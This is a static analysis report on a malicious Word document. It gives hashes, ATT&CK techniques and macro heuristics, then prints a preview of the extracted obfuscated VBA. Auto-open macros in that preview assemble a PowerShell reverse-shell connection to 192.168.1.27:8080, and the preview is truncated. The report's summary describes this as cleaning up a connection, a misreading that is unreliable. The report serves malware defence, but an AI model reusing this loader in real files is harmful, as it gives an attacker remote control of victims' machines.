Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 2b193eac99863928…

MALICIOUS

Office (OOXML)

24.4 KB Created: 2021-06-07 14:10:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-30
MD5: e6e0b3922285ecc54258750d5b1ebbbb SHA-1: 1292a4e4355e39fa4a2d6d31779f834854e1fa29 SHA-256: 2b193eac99863928ce964f344db027d8489df2f0937aa970757b4da03d16afb9
302 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The sample is a malicious Office document containing obfuscated VBA macros. These macros are designed to execute a PowerShell command, which appears to be involved in managing or cleaning up a client connection. The presence of AutoOpen and Shell() calls, along with obfuscation, strongly suggests a downloader or initial execution stage for further malicious activity.

Heuristics 8

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 25140 bytes
SHA-256: ae92c866bb44e025bd830b5be4b3d03f7aca3015ac163b783ae3ab6fec68e313
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"
Sub WorkBook_Open()
    Auto_Open
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Auto_Open()
    Dim exec As String
    exec = ""
    Dim ret
    exec = exec & ChrW(112) & ChrW(111) & ChrW(119) & ChrW(101) & ChrW(114) & ChrW(115) & ChrW(104) & ChrW(101) & ChrW(108)
    exec = exec & ChrW(108) & ChrW(46) & ChrW(101) & ChrW(120) & ChrW(101) & ChrW(32) & ChrW(34) & ChrW(32) & ChrW(102)
    exec = exec & ChrW(117) & ChrW(110) & ChrW(99) & ChrW(116) & ChrW(105) & ChrW(111) & ChrW(110) & ChrW(32) & ChrW(99)
    exec = exec & ChrW(108) & ChrW(101) & ChrW(97) & ChrW(110) & ChrW(117) & ChrW(112) & ChrW(32) & ChrW(123) & ChrW(105)
    exec = exec & ChrW(102) & ChrW(32) & ChrW(40) & ChrW(36) & ChrW(99) & ChrW(108) & ChrW(105) & ChrW(101) & ChrW(110)
    exec = exec & ChrW(116) & ChrW(46) & ChrW(67) & ChrW(111) & ChrW(110) & ChrW(110) & ChrW(101) & ChrW(99) & ChrW(116)
    exec = exec & ChrW(101) & ChrW(100) & ChrW(32) & ChrW(45) & ChrW(101) & ChrW(113) & ChrW(32) & ChrW(36) & ChrW(116)
    exec = exec & ChrW(114) & ChrW(117) & ChrW(101) & ChrW(41) & ChrW(32) & ChrW(123) & ChrW(36) & ChrW(99) & ChrW(108)
    exec = exec & ChrW(105) & ChrW(101) & ChrW(110) & ChrW(116) & ChrW(46) & ChrW(67) & ChrW(108) & ChrW(111) & ChrW(115)
    exec = exec & ChrW(101) & ChrW(40) & ChrW(41) & ChrW(125) & ChrW(59) & ChrW(32) & ChrW(32) & ChrW(32) & ChrW(32)
    exec = exec & ChrW(105) & ChrW(102) & ChrW(32) & ChrW(40) & ChrW(36) & ChrW(112) & ChrW(114) & ChrW(111) & ChrW(99)
    exec = exec & ChrW(101) & ChrW(115) & ChrW(115) & ChrW(46) & ChrW(69) & ChrW(120) & ChrW(105) & ChrW(116) & ChrW(67)
    exec = exec & ChrW(111) & ChrW(100) & ChrW(101) & ChrW(32) & ChrW(45) & ChrW(110) & ChrW(101) & ChrW(32) & ChrW(36)
    exec = exec & ChrW(110) & ChrW(117) & ChrW(108) & ChrW(108) & ChrW(41) & ChrW(32) & ChrW(123) & ChrW(36) & ChrW(112)
    exec = exec & ChrW(114) & ChrW(111) & ChrW(99) & ChrW(101) & ChrW(115) & ChrW(115) & ChrW(46) & ChrW(67) & ChrW(108)
    exec = exec & ChrW(111) & ChrW(115) & ChrW(101) & ChrW(40) & ChrW(41) & ChrW(125) & ChrW(59) & ChrW(32) & ChrW(32)
    exec = exec & ChrW(32) & ChrW(32) & ChrW(101) & ChrW(120) & ChrW(105) & ChrW(116) & ChrW(59) & ChrW(125) & ChrW(59)
    exec = exec & ChrW(36) & ChrW(97) & ChrW(100) & ChrW(100) & ChrW(114) & ChrW(101) & ChrW(115) & ChrW(115) & ChrW(32)
    exec = exec & ChrW(61) & ChrW(32) & ChrW(39) & ChrW(49) & ChrW(57) & ChrW(50) & ChrW(46) & ChrW(49) & ChrW(54)
    exec = exec & ChrW(56) & ChrW(46) & ChrW(49) & ChrW(46) & ChrW(50) & ChrW(55) & ChrW(39) & ChrW(59) & ChrW(36)
    exec = exec & ChrW(112) & ChrW(111) & ChrW(114) & ChrW(116) & ChrW(32) & ChrW(61) & ChrW(32) & ChrW(39) & ChrW(56)
    exec = exec & ChrW(48) & ChrW(56) & ChrW(48) & ChrW(39) & ChrW(59) & ChrW(36) & ChrW(99) & ChrW(108) & ChrW(105)
    exec = exec & ChrW(101) & ChrW(110) & ChrW(116) & ChrW(32) & ChrW(61) & ChrW(32) & ChrW(78) & ChrW(101) & ChrW(119)
    exec = exec & ChrW(45) & ChrW(79) & ChrW(98) & ChrW(106) & ChrW(101) & ChrW(99) & ChrW(116) & ChrW(32) & ChrW(115)
    exec = exec & ChrW(121) & ChrW(115) & ChrW(116) & ChrW(101) & ChrW(109) & ChrW(46) & ChrW(110) & ChrW(101) & ChrW(116)
    exec = exec & ChrW(46) & ChrW(115) & ChrW(111) & ChrW(99) & ChrW(107) & ChrW(101) & ChrW(116) & ChrW(115) & ChrW(46)
    exec = exec & ChrW(116) & ChrW(99) & ChrW(112) & ChrW(99) & ChrW(108) & ChrW(105) & ChrW(101) & ChrW(110) & ChrW(116)
    exec = exec & ChrW(59) & ChrW(36) & ChrW(99) & ChrW(108) & ChrW(105) & ChrW(101) & ChrW(110) & ChrW(116) & ChrW(46)
    exec = exec & ChrW(99) & ChrW(111) & ChrW(110) & ChrW(110) & ChrW(101) & ChrW(99) & ChrW(116) & ChrW(40) & ChrW(36)
    exec = exec & ChrW(97) & ChrW(100) & ChrW(100) & ChrW(114) & ChrW(101) & ChrW(115) & ChrW(115) & ChrW(44) & Ch
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 40960 bytes
SHA-256: 2940bae1bee573b871561e41e30ee1543d300c3e2baccd089a57101bb3138021
emf_00.emf ooxml-emf OOXML EMF part: docProps/thumbnail.emf 3316 bytes
SHA-256: bc718429a3b7cee2fbc789a0ae62f0e68ef55f49b9f1701222fc6ff87fd80b6c